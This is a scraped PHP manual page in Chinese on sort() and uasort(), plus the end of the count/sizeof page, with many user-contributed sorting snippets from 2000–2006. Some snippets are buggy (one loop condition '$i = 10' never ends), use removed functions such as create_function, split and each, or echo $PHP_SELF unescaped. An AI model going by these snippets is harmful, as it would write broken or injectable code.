if(sizeof($_POST['Checkboxes']))
{
           foreach($_POST['Checkboxes'] as $Index => $Value)
           {
                     DoStuffHere();
           }
}

OR

$keys = array_keys($_POST['Checkboxes']);

Using this method, you have the $Index set, which in the above exemple would be the array offset. You can use the functions array_keys() as well which will return the keys of the array, in this case the selected checkboxes.
jdittmer at ppp0 dot net
21-Feb-2004 07:46
This gets pretty near the size of an array:
strlen(implode('', array_values($array) + array_keys($array)).

The internal size is perhaps more like:
strlen(serialize($array).
gramo at skina dot com dot co
26-Mar-2003 01:48
[ Editor's Note: Unchecked boxes are not passed to the form action page at all.  Therefore if only two of the four checkboxes below are checked, only two will be passed to the action page and sizeof/count will return two.  grammo's statement that the array contains NULL elements is incorrect. ]

When you have a php page receiving data from a form with an array like:

--------8<----------------8<----------------8<--------
<FORM ACTION="receiver.php" METHOD=POST>
   <INPUT TYPE=CHECKBOX NAME="arreglo[0]">Thing #1
   <INPUT TYPE=CHECKBOX NAME="arreglo[1]">Thing #2
   <INPUT TYPE=CHECKBOX NAME="arreglo[2]">Thing #1
   <INPUT TYPE=CHECKBOX NAME="arreglo[3]">Thing #4
   <INPUT TYPE=SUBMIT>
</FORM>
--------8<----------------8<----------------8<--------

And you just pick Thing #2 and Thing #4 like:
--------8<----------------8<----------------8<--------
[ ] Thing #1
[X] Thing #2
[ ] Thing #1
[X] Thing #4
[OK]
--------8<----------------8<----------------8<--------

When you count the number of elements in arreglo {NULL, "on", NULL, "on"} you receive just a 2 for answer, because NULL counts as no element for the count function.

These have huge importance when you generate the forwarding form with a database query and you need to know how many elements does the script generate.

The only way to fix these problem is by adding a new element at the form in this way:
--------8<----------------8<----------------8<--------<FORM ACTION="receiver.php" METHOD=POST>
   <INPUT TYPE=HIDDEN NAME="arreglo_size" VALUE="4">
   <INPUT TYPE=CHECKBOX NAME="arreglo[0]">Thing #1
   <INPUT TYPE=CHECKBOX NAME="arreglo[1]">Thing #2
   <INPUT TYPE=CHECKBOX NAME="arreglo[2]">Thing #1
   <INPUT TYPE=CHECKBOX NAME="arreglo[3]">Thing #4
   <INPUT TYPE=SUBMIT>
</FORM>
--------8<----------------8<----------------8<--------
add a note add a note

后退 | 起点 | 前进
shuffle | 上一级 | sort


sort

(PHP 3, PHP 4, PHP 5)

sort -- 对数组排序

说明

bool sort ( array &array [, int sort_flags] )

本函数对数组进行排序。当本函数结束时数组单元将被从最低到最高重新安排。

注: 本函数为 array 中的单元赋予新的键名。这将删除原有的键名而不仅是重新排序。

如果成功则返回 TRUE，失败则返回 FALSE。

例子 1. sort() 例子

<?php

$fruits = array("lemon", "orange", "banana", "apple");
sort($fruits);
foreach ($fruits as $key => $val) {
    echo "fruits[".$key."] = " . $val . "\n";
}

?>

上例将输出：

fruits[0] = apple
fruits[1] = banana
fruits[2] = lemon
fruits[3] = orange

fruits 被按照字母顺序排序。

可选的第二个参数 sort_flags 可以用以下值改变排序的行为：

排序类型标记：

  • SORT_REGULAR - 正常比较单元（不改变类型）

  • SORT_NUMERIC - 单元被作为数字来比较

  • SORT_STRING - 单元被作为字符串来比较

  • SORT_LOCALE_STRING - 根据当前的 locale 设置来把单元当作字符串比较。PHP 4.4.0 和 5.0.2 新加

注: 第二个参数是 PHP 4 新加的。

警告

在对含有混合类型值的数组排序时要小心，因为 sort() 可能会产生不可预知的结果。

参见 arsort()，asort()，ksort()，krsort()，natsort()，natcasesort()，rsort()，usort()，array_multisort() 和 uksort()。

add a note add a note User Contributed Notes
Emiliyan at ServicesBG dot Com
29-Mar-2006 11:41
#This is a function that will sort an array...
function sort_by($array,  $keyname = null, $sortby) {
   $myarray = $inarray = array();
   # First store the keyvalues in a seperate array
   foreach ($array as $i => $befree) {
       $myarray[$i] = $array[$i][$keyname];
   }
   # Sort the new array by
   switch ($sortby) {
   case 'asc':
   # Sort an array and maintain index association...
   asort($myarray);
   break;
   case 'arsort':
   # Sort an array in reverse order and maintain index association
   arsort($myarray);
   break;
   case 'natcasesor':
   # Sort an array using a case insensitive "natural order" algorithm
   natcasesort($myarray);
   break;
   }
   # Rebuild the old array
   foreach ( $myarray as $key=> $befree) {
       $inarray[$key] = $array[$key];
   }
   return $inarray;
}
sort_by(); example...
$info = sort_by($myarray, 'name', $use = 'asc');
print_r($info);
ludvig dot ericson at gmail dot com
26-Feb-2006 01:48
A tip for those who like "raul at jimi dot com dot mx" need to preserve keys after changing stuff in the middle of an array:
array_values.

Example:
<?php
$array = array(1, 2, 5, 9, 3);
unset($array[3]); // Remove index 3, which is 9.
$array = array_values($array);
?>

Hint: array_values can be fine for removing keys and reindex them by number instead, too (applies to functions like posix_pwgetuid which returns an associative array, unlike C and others, call array_values on it, and it'll be the same format IIRC.)
jesper at snt dot utwente dot nl
25-Feb-2006 05:26
If you sort an array of objects, the first variable in the object will be used for sorting:

<?php
class foo
{
  var $value; //First variable: Used for sorting
  var $id;

  function foo($i, $v)
  {
     $this->id = $i;
     $this->value = $v;
  }

}

for ($i = 0; $i < 10; $i++)
{
  $bar[] = new foo($i,rand(1,10));
}

// This will sort on value
sort($bar);
print_r($bar);
?>

Compare the piece of code above with the following:

<?php
class foo
{
  var $id; //First variable: Used for sorting
  var $value;

  function foo($i, $v)
  {
     $this->id = $i;
     $this->value = $v;
  }

}

for ($i = 0; $i = 10; $i++)
{
  $bar[] = new foo($i,rand(1,10));
}

// This will sort on id
sort($bar);
print_r($bar);
?>

As you can see the location of declaration of the variables matter!
If you want to sort on both or on a combination of variables, use ksort()
jerome a-t+ yamafoto d*o*t com
23-Feb-2006 01:39
when sorting an array, beware of variable type from elements you put in this array

Example:

$a = 2; // $a is an integer
$b = 'item';
$arr = array($a, $b);
sort($arr);

print_r($arr);

this will output:
$arr[0] = 'item';
$arr[1] = 2;

$a = '2'; // $a is a string
$b = 'item';
$arr = array($a, $b);
sort($arr);

print_r($arr);

this will output:
$arr[0] = '2';
$arr[1] = 'item'

to avoid this problem use:

sort($arr, SORT_STRING)
nm at thenoodleman dot com
31-Jan-2006 09:18
Faster, more effective function:

array_sort (array, ['asc'/'desc'])

Second parameter specifies whether to order ascending or descending. Default is ascending.

function array_sort($array, $type='asc'){
   $result=array();
   foreach($array as $var => $val){
       $set=false;
       foreach($result as $var2 => $val2){
           if($set==false){
               if($val>$val2 && $type=='desc' || $val<$val2 && $type=='asc'){
                   $temp=array();
                   foreach($result as $var3 => $val3){
                       if($var3==$var2) $set=true;
                       if($set){
                           $temp[$var3]=$val3;
                           unset($result[$var3]);
                       }
                   }
                   $result[$var]=$val;
                   foreach($temp as $var3 => $val3){
                       $result[$var3]=$val3;
                   }
               }
           }
       }
       if(!$set){
           $result[$var]=$val;
       }
   }
   return $result;
}

Works for ordering by integers or strings, no need to specify which.

Example:

$array=array('a' => 50, 'b' => 25, 'c' => 75);
print_r(array_sort($array));

Returns:
Array
(
[b] => 25
[a] => 50
[c] => 75
)
james at miicro dot net
25-Jan-2006 02:26
Further to john dot dutcher at highmark dot com's comments - padding the name could cause a problem if you get abnormally long names, it might be better to rebuild the array thus:

Array (
[0] => Array ( [sortname_01] => Dutcher [sortname_02] => F [sortname_03] => John [name] => Dutcher, John F )
[1] => Array ( [sortname_01] => Dutch [sortname_02] => A [sortname_03] => Roger [name] => Dutch, Roger A )
[2] => Array ( [sortname_01] => Dut [sortname_02] => H [sortname_03] => Maurice [name] => Dut, Maurice H )
[3] => Array ( [sortname_01] => Dut [sortname_02] => S [sortname_03] => Mildred [name] => Dut, Mildred S )
)

which should give:

Array (
[0] => Array ( [sortname_01] => Dut [sortname_02] => H [sortname_03] => Maurice [name] => Dut, Maurice H )
[1] => Array ( [sortname_01] => Dut [sortname_02] => S [sortname_03] => Mildred [name] => Dut, Mildred S )
[2] => Array ( [sortname_01] => Dutch [sortname_02] => A [sortname_03] => Roger [name] => Dutch, Roger A )
[3] => Array ( [sortname_01] => Dutcher [sortname_02] => F [sortname_03] => John [name] => Dutcher, John F )
)
john dot dutcher at highmark dot com
11-Jan-2006 08:58
Regarding the array sorting of names by 'whatever' ....

That post addresses a nearly identical issue with sorting that I also have.

I just wanted to inquire though.........wouldn't the building of the 'sortname'  value require that the last name and first name be padded to their full size as they are placed into the
'sortname' field in order to get proper sorting/alignment ?

Otherwise would one have .......

   dutcherjohnf                  (Dutcher, John F)
   dutchrogera                  (Dutch, Roger A)
   dutmauriceh                  (Dut, Maurice H)

Instead of:

   dut          maurice        h
   dutch        roger          a
   dutcher      john            f

John D.
raul at jimi dot com dot mx
02-Dec-2005 01:50
I had an array like this:
$arr=array (1,4,3,6,5);

which returns this:
$arr[0]=1
$arr[1]=4
$arr[2]=3
$arr[3]=6
$arr[4]=5

But lets say i remove [2] which is number 3, i get:

$arr[0]=1
$arr[1]=4
$arr[3]=6
$arr[4]=5

And i want to reindex without doing a sort because i dont want to lose the order of the numbers (like a pop in a stack but in the middle of the list), i do this:

$arr=array_chunk($arr,count($arr));
$arr=$arr[0];

the result is:

$arr[0]=1
$arr[1]=4
$arr[2]=6
$arr[3]=5

This can be applied mostly for tree sorting, when you only have the id and the parent values of the node, and you want to have N levels.
phillip dot metzger at gmail dot com
10-Nov-2005 01:36
For a case insensitive sort use this array_multisort().

<?php
$array_var = Array("Cheery", "zap", "Banana", "apple", "Zing");

array_multisort((strtolower($array_var)), SORT_ASC, SORT_STRING, $array_var);
?>

Result order:
apple
Banana
Cheery
zap
Zing
james at miicro dot net
19-Jul-2005 05:49
It's useful to know that if you're using this function on a multidimensional array, php will sort the first key, then the second and so on. This is similar to being able to use SQL to order by field1, field2 etc.

So:

Array (
[0] => Array ( [category] => work [name] => Smith )
[1] => Array ( [category] => play [name] => Johnson )
[2] => Array ( [category] => work [name] => Berger )
)

will become:

Array (
[0] => Array ( [category] => play [name] => Johnson )
[1] => Array ( [category] => work [name] => Berger )
[2] => Array ( [category] => work [name] => Smith )
)

Hope it helps someone.
whatever at toposphere dot com
03-Jul-2005 04:12
The usort solution below still has problems when sorting strings of different lengths, just like the other flavors of sort that I've tried.

Here's a solution that I came up with -- it's kinda ugly, and it might not be practical for large arrays, but it's works great for me.

I'm getting some people's names out of mySQL and placing them in an array like this: "$lastname, $firstname $middlename". Because some people don't have middle names, "sort" screws up the alphabetization. So what I've done is this:

$index = 0;
while ($rows = mysql_fetch_array($sqlResult)) {
   extract($rows);
   $my_array[$index]['sortname'] = strtolower(preg_replace("/[^a-zA-Z]/", "", "$lastname$firstname$middlename"));
   $my_array[$index]['name'] = trim("$lastname, $firstname $middlename");
   $index++;
}
sort($my_array); // now in perfect alpha order

My "hack" is in the fourth line -- I take the entire name, last name first, and use preg_replace() to take out all non-letter characters, and then used strtolower() to make it all lowercase to ensure all letters would be treated equally by PHP. This goes into the ['sortname'] key within the array.

(The ['sortname'] value has to come before ['name'], or else the array will be sorted by ['name'] instead.)

This gives me:

Array
(
   [0] => Array ( [sortname] => shmojoe [name] => Shmo, Joe )
   [1] => Array ( [sortname] => shmojoem [name] => Shmo, Joe M )
)
... and so on

So the array gets sorted by ['sortname'], which never needs to be displayed, and the associated ['name'] can be displayed in perfect alphabetical order, whether there is one name, two names or three. And because ['sortname'] is letters only, it works great for hyphenated last names or ones with apostrophes, like Smith-Jones or O'Donnell.

I feel that the dual preg_replace() and strtolower() may not be the best theoretical solution, and I don't know how it would run on a really large array, but as I said, it's a great solution for my little site.
dwatson at planandgrow dot com
19-Mar-2005 09:55
Here is a recursive use of sort for multi-dim arrays:

<?php

/*Mulsort function recursively sorts a  multi-dimensional, numeric array in place,
regardless of how many dimensions it has.  The array can be ragged -- not a matrix.
*/

function mulsort(&$a)
{
   sort($a);
   $c = count($a);
   for($i = 0; $i < $c; $i++)
       if (is_array($a[$i]))
           mulsort($a[$i]);
}

//The following array is just used to demo the mulsort function.
$array_demo = array ( array ( array (333,1,9,8,7,6,5), array (array(1, 'x', 22), 99, 88 ), -10 ),
       array ( array (11, 12, 'a', 'b', 'c'), array (8, 1, 2,-5) ) );

echo "Array before sorting:<br /><pre>";
var_dump($array_demo);
echo "</pre></ br></ br>";

mulsort($array_demo);

echo "Array after sorting:<br /><pre>";
var_dump($array_demo);
echo "</pre>";

?>
timc at hlyw dot com
18-Feb-2005 08:04
I dig the multi_sort function(s) from above.  But, they don't work for hash arrays.  I added a keys variable to keep track of the key value as the array gets sorted.  Feed back welcome.

<?php
function array_qsort (&$array, $column=0, $order=SORT_ASC, $first=0, $last= -2)
{
  // $array  - the array to be sorted
  // $column - index (column) on which to sort
  //          can be a string if using an associative array
  // $order  - SORT_ASC (default) for ascending or SORT_DESC for descending
  // $first  - start index (row) for partial array sort
  // $last  - stop  index (row) for partial array sort
  // $keys  - array of key values for hash array sort

  $keys = array_keys($array);
  if($last == -2) $last = count($array) - 1;
  if($last > $first) {
   $alpha = $first;
   $omega = $last;
   $key_alpha = $keys[$alpha];
   $key_omega = $keys[$omega];
   $guess = $array[$key_alpha][$column];
   while($omega >= $alpha) {
     if($order == SORT_ASC) {
       while($array[$key_alpha][$column] < $guess) {$alpha++; $key_alpha = $keys[$alpha]; }
       while($array[$key_omega][$column] > $guess) {$omega--; $key_omega = $keys[$omega]; }
     } else {
       while($array[$key_alpha][$column] > $guess) {$alpha++; $key_alpha = $keys[$alpha]; }
       while($array[$key_omega][$column] < $guess) {$omega--; $key_omega = $keys[$omega]; }
     }
     if($alpha > $omega) break;
     $temporary = $array[$key_alpha];
     $array[$key_alpha] = $array[$key_omega]; $alpha++;
     $key_alpha = $keys[$alpha];
     $array[$key_omega] = $temporary; $omega--;
     $key_omega = $keys[$omega];
   }
   array_qsort ($array, $column, $order, $first, $omega);
   array_qsort ($array, $column, $order, $alpha, $last);
  }
}
?>
anthony at ectrolinux dot com
09-Sep-2004 07:39
In a brief addition to the previous poster's message, the ascending sorting order used by PHP directly corresponds to ISO-8859-1 (ASCII). Therefore the character \48 (numeral 0) would be placed before the character \82 (R), which would be placed before the character \110 (n), and so forth.
teunkloosterman at hotmail dot com
30-Aug-2004 04:14
Just to show how it sorts:

<?php
$array = Array("1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", " ", "!", "@", "#", "\\\$", "%", "^", "&", "*", "(", ")", "_", "-", "=", "+", "\\\\", "|", ",", "<", ".", ">", "?", "'", "\\\"", "`", "~");
sort($array);
echo implode("", $array);
?>

returns:

 !"#$%&'()*+,-.0123456789<=>?
@ABCDEFGHIJKLMNOPQRSTUVWXYZ
\^_`abcdefghijklmnopqrstuvwxyz|~

note: the result begins with a space
Gerhard Conradi
10-Mar-2004 04:49
Hi @all,

to my previous author: thanks, thanks, thanks! Works great and saved me lot of time. I added an extension for ascending/descending order. Here are the changes:

// first i defined two constants for asc and desc
// you can skip that, but then you have to change the switch command at the end of the function
define("ORDER_ASC", "asc");
define("ORDER_DESC", "desc");

function mu_sort($array, $key_sort, $asc_desc) { // start function

// check input parameters
if (func_num_args()<2 || func_num_args()>3) die("Wrong number of parameters for the call of mu_sort()");

   $array = func_get_arg(0);
   $key_sort = func_get_arg(1);
   if (func_num_args()==3)
     $asc_desc = func_get_arg(2);
   else
     $asc_desc = ORDER_ASC;

   $key_sorta = explode(",", $key_sort);
   .... // from here it's exactly the same

   ... // until here
     } // end loop #2
   } // end loop #1

   // sort
   // if you don't want to use the constants defined at the top, change here to whatever you're using
   switch($asc_desc) {
     case ORDER_DESC:
         rsort($output); break;
     default:
         sort($output);
   }

   // return sorted array
   return $output;
} // end function

Now you can call the function like this:
mu_sort($array, $key_sort, ORDER_DESC);
or even:
mu_sort($array, $key_sort); // This will sort the array by default ascending

Have fun...
matias at arenasoftware dot com
24-Mar-2003 09:36
Lets say you have the following array:
$array1 = Array(third => "Some text 3", second => "Some text 2", first => "Some text 1", fourth => "Some text 4" );
and you want to sort it by first,second,third, fourth.
Very easy! Just create a second array:
$array2 = Array(first => "", second => "", third => "", fourth => "");
and do:
$result = array_merge($array2,$array1);

now $result = Array(first => "Some text 1",second => "Some text 2",third => "Some text 3",fourth => "Some text 4");

This is very usefull when you want to print data out of a database table for example, but you would like to give it a custom order.
arjan321 at hotmail dot com
01-Feb-2003 04:23
Ik you want to sort case insensitive, use the natcasesort()
shailu_agrawal at yahoo dot no_spam dot com
13-Nov-2002 10:05
if 2nd parameter is "SORT_REGULAR" it will compare characters by ASCII values.
For ex: if unsorted values are:  B , a , A
with SORT_REGULAR sorted result will be: A , B , a
and with SORT_STRING sorted result will be: a , A , B
whit at transpect dot com
26-Oct-2002 05:06
fmmarzoa's qsort_multiarray gets the last record with the removal of a "-1" from the 3rd line of the function definition. Here's a routine using it that takes a tab-delimited table with the column names in the first row, and displays it from an arbitrary column on the left to the last on the right with option to sort by any one column:

<?php
//tab-delimited ASCII file to sort - no more than one linefeed at end
$infile="members.txt";
//first column on left to display - count from 0
$firstcol="1";

function qsort_multiarray($array, $num = 0, $order = "ASC", $left = 0, $right = -1) {
       if($right == -1) {
               $right = count($array);
       }
       $links = $left;
       $rechts = $right;
       $mitte = $array[($left + $right) / 2][$num];
       if($rechts > $links) {
               do {
                       if($order == "ASC") {
                               while($array[$links][$num]<$mitte) $links++;
                               while($array[$rechts][$num]>$mitte) $rechts--;
                       } else {
                               while($array[$links][$num]>$mitte) $links++;
                               while($array[$rechts][$num]<$mitte) $rechts--;
                       }
                       if($links <= $rechts) {
                               $tmp = $array[$links];
                               $array[$links++] = $array[$rechts];
                               $array[$rechts--] = $tmp;
                       }
               } while($links <= $rechts);
               if ($left < $rechts) $array = qsort_multiarray($array,$num,$order,$left, $rechts);
               if ($links < $right) $array = qsort_multiarray($array,$num,$order,$links,$right);
       }
       return $array;
}

$mem=file("$infile");
$line=explode("\t","$mem[0]");
$cnt=count($line);
echo "<html><head><title>$infile</title></head><body>";
echo "<table border=\"1\"><tr>";
for ($i=$firstcol;$i<$cnt;$i++) {
       echo "<td><a href=\"$PHP_SELF?col=$i\">$line[$i]</a></td>";
}
echo "</tr>";
$cnt=count($mem);
for ($i=$firstcol;$i<$cnt;$i++) {
       $line=explode("\t","$mem[$i]");
       $cnt2=count($line);
       for ($j=$firstcol;$j<$cnt2;$j++) {
               $mem2[$i][$j]=$line[$j];
       }
}
if(!isset($col)) $col=$firstcol;
$mem2=qsort_multiarray($mem2,$col);
for ($i=0;$i<$cnt;$i++) {
       echo "<tr>";
       for ($j=$firstcol;$j<$cnt2;$j++) {
               $show=$mem2[$i][$j];
               echo "<td>$show</td>";
       }
       echo "</tr>";
}
echo "</table></body></html>";
?>
15-Mar-2002 06:09
If you want to sort an array according to your locale do the following:
(de_DE as example)

setlocale("LC_ALL","de_DE");
usort($arraytobesorted, 'strcoll');

--ed: In PHP 4.4 and PHP 5.0 you can do:
setlocale("LC_ALL", "de_DE");
sort($arraytobesorted, SORT_LOCALE_STRNG);
RunMaster at gmx dot de
30-Aug-2001 01:11
Note that sort() is void, so an assignment like

$foo_array = sort( $foo_array );

wont work. In result you cannot combine sort() for use with other array-related functions just like array_unique() or array_values(). None of the following statements works:

sort( array_unique( $foo_array ) );
// returns empty string

$foo_array = array_unique( sort( $foo_array) );
// returns parameter failure

The only way to combine those functions is to apply sort() in a single line statement.

So please dont waste your time with hours of debugging like me before I found out, its void... ;-)
phpdotnetNO_SPAM at electronic-strategy dot com
06-Jul-2001 12:34
/*
Small function to Alphabetically sort Multidimensional arrays by index values of an n dimension array.

I have only tested this for sorting an array of up to 6 dimensions by a value within the second dimension. This code is very rough and works for my purposes, but has not been tested beyond my needs.

Although a little clunky and not a mathematical type algorithm, it get's the job done. It theoretically overcomes many of the problems I have seen with multidimensional arrays in that it is possible to specify within the function, not by reference :-(, which index you wish to sort by, no matter how many dimensions down.

call function by assigning it to a new / existing array:

$row_array = multidimsort($row_array);
*/

function multidimsort($array_in) {
     $multiarray = array();
   $array_out = array();
   $loopvalue = 0;

   /* -1 as traversal of array starts from 0, count() starts from 1 */
   $multicount = count($array_in) - 1;

   /* add the indexes you wish to sort array by to a new array in this case index is two levels down, but shouldn't make a difference if it goes further indexes down. (Not tested!) */
   for($i = 0; $i <= $multicount; $i++) {
       array_push($multiarray, $array_in[$i][2]);
       //array_push($multiarray, $array_in[$i][2][4]);
       //array_push($multiarray, $array_in[$i][1][3][7]);
   }

   /* alphabetically sort the new array (Ascending in this case) can chage sort to whatever type you like. Even apply user-defined sort. */
   asort($multiarray);

   /* reset internal pointer to beginning of array after above sort */
   reset($multiarray);

   /* traverse new array of index values and add the corresponding element of the input array to the correct position in the output array */
   while (list ($key, $val) = each ($multiarray)) {

       $array_out[$loopvalue] = $array_in[$key];

       $loopvalue++;
   }

   /* return the output array which is all nicely sorted by the index you wanted! */
   return $array_out;
}
Richard dot C dot Mitchell at Boeing dot com
24-Apr-2001 12:59
The usort function can be used to sort multi-dimension arrays, also.

To do a case-insensitive sort on the 7th column of a two-dimensional array:
usort($listing, create_function('$a,$b','return strcasecmp($a[7],$b[7]);'));

When using associative arrays:
usort($listing, create_function('$a,$b','return strcasecmp($a["name"],$b["name"]);'));

Case-sensitive, descending (just change '$a,$b' to '$b,$a'):
usort($listing, create_function('$b,$a','return strcmp($a["name"],$b["name"]);'));

A two-dimensional array of numbers (7th column, ascending):
usort($listing, create_function('$a,$b','return $a[7]==$b[7]?0:($a[7]<$b[7]?-1:1);'));
peek at mailandnews dot com
07-Apr-2001 07:06
I ran into the same problem with case insensitive sorting. Actually I think there should be a SORT_STRING_CASE flag but I tried the following:

usort($listing, 'strcasecmp');

This didn't work (why not?), but you can do a proper case insensitive sort like this:

usort($listing, create_function('$a,$b','return strcasecmp($a,$b);'));
ultrafunkula at mad dot scientist dot com
31-Mar-2000 02:08
What you really want is asort(). The neat thing about PHP arrays is that even though they have a traditional numerical index, they are not defined by it. What I mean by this is if you define an array $data[], then $data[2] does not necessarily exist between $data[1] and $data[3].
So if you asort() by the artist name and then use each() to recover the array elements in the order they exist(rather than an incremental loop which ties you to their arbitrary numerical key), you can sort your data by any dimension of your array. Try this out:
$data[0][1]='Title 2';
$data[0][2]='Title 1';
$data[0][0]='Title 3';
$data[1][1]='Barney';
$data[1][0]='Charlie';
$data[1][2]='Al';
$data[2][2]='Sing the song of Al';
$data[2][1]='Jam with Barney';
$data[2][0]='Charlie Rocks';

while (list($key) = each($data[1])) {
print $data[0][$key].",".$data[1][$key].",".$data[2][$key]."<p>";
}

asort($data[1]);

while (list($key) = each($data[1])) {
print $data[0][$key].",".$data[1][$key].",".$data[2][$key]."<p>";
}

The interesting part is that the first, UNSORTED array doesn't come out in numerical order, because it wasn't put in that way.  If you asort($data[2]) you'll sort by lyrics, and so on. Just make sure you remember to each() by the same dimension as you asort().
misillet at tin dot it
18-Mar-2000 02:58
Note that using sort() it seems to sort by ASCII code, because "AC" is before "Ab" in the result array
add a note add a note

后退 | 起点 | 前进
sizeof | 上一级 | uasort


uasort

(PHP 3 >= 3.0.4, PHP 4, PHP 5)

uasort -- 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联

说明

bool uasort ( array &array, callback cmp_function )

本函数对数组排序并保持索引和单元之间的关联。主要用于对那些单元顺序很重要的结合数组进行排序。比较函数是用户自定义的。

如果成功则返回 TRUE，失败则返回 FALSE。

注: 用户自定义比较函数的例子请参考 usort() 和 uksort()。

参见 usort()，uksort()，sort()，asort()，arsort()，ksort() 和 rsort()。

add a note add a note User Contributed Notes
rlynch at lynchmarks dot com
17-May-2005 08:36
A subtle bug, corrected...

<?php
function masort(&$data, $sortby)
{
   static $sort_funcs = array();

   if (empty($sort_funcs[$sortby])) {
       $code = "\$c=0;";
       foreach (split(',', $sortby) as $key) {
         $array = array_pop($data);
         array_push($data, $array);
         if(is_numeric($array[$key]))
           $code .= "if ( \$c = ((\$a['$key'] == \$b['$key']) ? 0:((\$a['$key'] < \$b['$key']) ? -1 : 1 )) ) return \$c;";
         else
           $code .= "if ( (\$c = strcasecmp(\$a['$key'],\$b['$key'])) != 0 ) return \$c;\n";
       }
       $code .= 'return $c;';
       $sort_func = $sort_funcs[$sortby] = create_function('$a, $b', $code);
   } else {
       $sort_func = $sort_funcs[$sortby];
   }
   $sort_func = $sort_funcs[$sortby];
   uasort($data, $sort_func);
}
?>

Note that

$code .= "if ( \$c = ((\$a['$key'] == \$b['$key']) ? 0:((\$a['$key'] < \$b['$key']) ? -1 : 1 )) ) return \$c;";

Has had the "return \$c" added.  Ultimately what the method is trying to accomplish is to build a chain of sort-order precedence.  But this requires each evaluation to short-circuit out with a return.  It was missing.

Peace
lucas dot karisny at linuxmail dot org
13-Feb-2005 10:09
The following is a modification of the dholme/messju masort func using david's float code with automatic data type detection.  As long as the value isn't a string numeral (I.E. "1", '13.4') this should sort strings and numbers without having to explicity set which they are.

<?php
function masort(&$data, $sortby)
{
   static $sort_funcs = array();

   if (empty($sort_funcs[$sortby])) {
       $code = "\$c=0;";
       foreach (split(',', $sortby) as $key) {
         $array = array_pop($data);
         array_push($data, $array);
         if(is_numeric($array[$key]))
           $code .= "if ( \$c = ((\$a['$key'] == \$b['$key']) ? 0:((\$a['$key'] < \$b['$key']) ? -1 : 1 )) );";
         else
           $code .= "if ( (\$c = strcasecmp(\$a['$key'],\$b['$key'])) != 0 ) return \$c;\n";
       }
       $code .= 'return $c;';
       $sort_func = $sort_funcs[$sortby] = create_function('$a, $b', $code);
   } else {
       $sort_func = $sort_funcs[$sortby];
   }
   $sort_func = $sort_funcs[$sortby];
   uasort($data, $sort_func);
}
?>
siefer at sym dot net
04-Oct-2004 05:24
Hello naholyr at yahoo dot fr!

should it be

$cmp = create_function('$a, $b', "return $cmp_val;");

?

this works with my arrays ;-)

regards, Christopher
marek at lewczuk dot com
27-May-2004 07:01
Below another array sorting function - you can use many keys, whether order type is ascendant or descendant, if values of given key should be treat as string or numeric, if array keys should be preserved. This function is locale-safe - it means that string sorting will be based on setLocale settings. You should be aware that I did not make comprehensive tests, so be careful...

// my locales
SetLocale(LC_COLLATE,"pl_PL.UTF-8");
SetLocale(LC_CTYPE, "pl_PL.UTF-8");

function Array_Sort ($array, $arguments = Array(), $keys = true) {

  // comparing function code
  $code = "";

  // foreach sorting argument (array key)
  foreach ($arguments as $argument) {

   // order field
   $field = substr($argument, 2, strlen($argument));

   // sort type ("s" -> string, "n" -> numeric)
   $type = $argument[0];

   // sort order ("+" -> "ASC", "-" -> "DESC")
   $order = $argument[1];

   // add "if" statement, which checks if this argument
       should be used
   $code .= "if (!Is_Numeric(\$result) || \$result == 0) ";

   // if "numeric" sort type
   if (strtolower($type) == "n") $code .= $order == "-" ? "\$result = (\$a['{$field}'] > \$b['{$field}'] ? -1 : (\$a['{$field}'] < \$b['{$field}'] ? 1 : 0));" : "\$result = (\$a['{$field}'] > \$b['{$field}'] ? 1 : (\$a['{$field}'] < \$b['{$field}'] ? -1 : 0));";

   // if "string" sort type
   else $code .= $order == "-" ? "\$result = strcoll(\$a['{$field}'], \$b['{$field}']) * -1;" : "\$result = strcoll(\$a['{$field}'], \$b['{$field}']);";
  }

  // return result
  $code .= "return \$result;";

  // create comparing function
  $compare = create_function('$a, $b', $code);

  // sort array and preserve keys
  if ($keys) uasort($array, $compare);

  // sort array, but not preserve keys
  else usort($array, $compare);

  // return array
  return $array;
}

Example array:
$array['sdsd'] = array("dir" => 1, "name" => "sas", "olek" => "sdsd");
$array['sds2'] = array("dir" => 2, "name" => "&#347;as", "olek" => "t");

Example - preserve keys:
print_r(Array_Sort($array, Array("s-name", "n-dir", "s+olek")));

Array
(
   [sds2] => Array
       (
           [dir] => 1
           [name] => &#347;as
           [olek] => t
       )

   [sdsd] => Array
       (
           [dir] => 1
           [name] => sas
           [olek] => sdsd
       )

)

Example - without preserving keys:
print_r(Array_Sort($array, Array("s-name", "n-dir", "s+olek")), false);

Array
(
   [0] => Array
       (
           [dir] => 1
           [name] => &#347;as
           [olek] => t
       )

   [1] => Array
       (
           [dir] => 1
           [name] => sas
           [olek] => sdsd
       )

)

Enyoj
david [__at__] castlelaing.com
11-May-2004 12:28
WARNING:-Regarding remmy.cjb.net (22-Oct-2003 05:57) mutisort() function:

Sorting by floating point numbers doesn't work in the current function. Use the modified version below if you want to sort by a floating point column.

<?php
// Based on the other notes given before.
// Sorts an array (you know the kind) by key
// and by the comparison operator you prefer.

// Note that instead of most important criteron first, it's
// least important criterion first.

// The default sort order is ascending, and the default sort
// type is strnatcmp.

// function multisort($array[, $key, $order, $type]...)
function multisort($array)
{
   for($i = 1; $i < func_num_args(); $i += 3)
   {
       $key = func_get_arg($i);
       if (is_string($key)) $key = '"'.$key.'"';

       $order = true;
       if($i + 1 < func_num_args())
           $order = func_get_arg($i + 1);

       $type = 0;
       if($i + 2 < func_num_args())
           $type = func_get_arg($i + 2);

       switch($type)
       {
           case 1: // Case insensitive natural.
               $t = 'strcasecmp($a[' . $key . '], $b[' . $key . '])';
               break;
           case 2: // Numeric.
               $t = '($a[' . $key . '] == $b[' . $key . ']) ? 0:(($a[' . $key . '] < $b[' . $key . ']) ? -1 : 1)';
               break;
           case 3: // Case sensitive string.
               $t = 'strcmp($a[' . $key . '], $b[' . $key . '])';
               break;
           case 4: // Case insensitive string.
               $t = 'strcasecmp($a[' . $key . '], $b[' . $key . '])';
               break;
           default: // Case sensitive natural.
               $t = 'strnatcmp($a[' . $key . '], $b[' . $key . '])';
               break;
       }
       echo $t;
       usort($array, create_function('$a, $b', '; return ' . ($order ? '' : '-') . '(' . $t . ');'));
   }
   return $array;
}
?>
dn dot php at gmx dot de
24-Nov-2003 08:34
